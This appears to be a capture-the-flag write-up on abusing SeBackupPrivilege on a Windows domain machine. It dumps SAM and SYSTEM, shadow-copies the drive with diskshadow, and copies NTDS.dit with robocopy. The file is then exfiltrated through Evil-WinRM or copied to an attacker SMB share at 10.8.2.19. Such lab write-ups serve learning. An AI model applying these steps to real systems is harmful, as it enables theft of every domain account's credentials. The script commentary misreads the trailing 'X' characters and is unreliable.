Interesting, caroline.robinson has
SeBackupPrivilege
What about SeBackupPrivilege enabled for our user?
That means that we can backup various parts of the filesystem.
- In most cases, this can be for a engineer or technical support user and seems harmless at first glance.
- However, this means we can also backup sensitive files such as the
SAMandSYSTEMdatabases. - These database essentially house user accounts and security objects for all domain objects on the machine.
- The only issue is that this also houses user passwords, meaning if we dump these databases we can view the password for every user on the machine.
We dump SAM and SYSTEM:

---- ------------- ------ ----

Then we copy to our attacket machine:

Diskshadow/Robocopy for NTDS.dit dumping (Baby_Root)
To be able to get all domain Hashes, we need to dump the ntds database as well named NTDS.dit.
Create a script script.txt:
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Information of this script:
set metadata C:\Windows\Temp\meta.cabX: This command is setting metadata for the backup operation. It seems to be specifying the location where metadata related to the backup will be stored, in this case,C:\Windows\Temp\meta.cabX.set context clientaccessibleX: This command is setting the context for the backup operation. It seems to be specifying that the backup should be accessible by the client. TheXmight be a placeholder or a variable.set context persistentX: This command is setting another context for the backup operation. It could be specifying that the backup should be persistent, meaning it should remain available or stored for a certain period. TheXmight be a placeholder or a variable.begin backupX: This command is initiating the backup operation. TheXmight be a placeholder or a variable.add volume C: alias cdriveX: This command is adding the volumeC:to the backup operation with an aliascdriveX. This means that the contents of theC:drive will be included in the backup. TheXmight be a placeholder or a variable.createX: This command is creating something related to the backup operation. It’s not entirely clear what it’s creating without more context or additional information about the script.expose %cdrive% E:X: This command seems to be exposing the contents of theC:drive, which was added to the backup operation with the aliascdriveX, to a location specified by%cdrive%on driveE:. This might involve mounting the backup or making it accessible in some way. TheXmight be a placeholder or a variable.end backupX: This command is ending the backup operation. TheXmight be a placeholder or a variable.

Another possibility could be to create a dsh script file to create a volume convert it to dos format with unix2dos:
set context persistent nowriters
add volume c: alias owo
create
expose %owo% z:
Then use also diskshadow and robocopy:
*Evil-WinRM* PS C:\Temp> diskshadow /s script.dsh
*Evil-WinRM* PS C:\Temp> robocopy /b Z:\Windows\ntds . ntds.dit
Then we can download it to our attacker machine:
- Way1:
*Evil-WinRM* PS C:\Temp> download ntds.dit
Info: Downloading C:\Temp\ntds.dit to ntds.dit
Info: Download successful!
- Way 2:
Via our SMB server, more faster (but worst for OPSec side):
*Evil-WinRM* PS C:\temp> copy ntds.dit \\10.8.2.19\share\ntds.dit
Then we extract all Domain hashes:
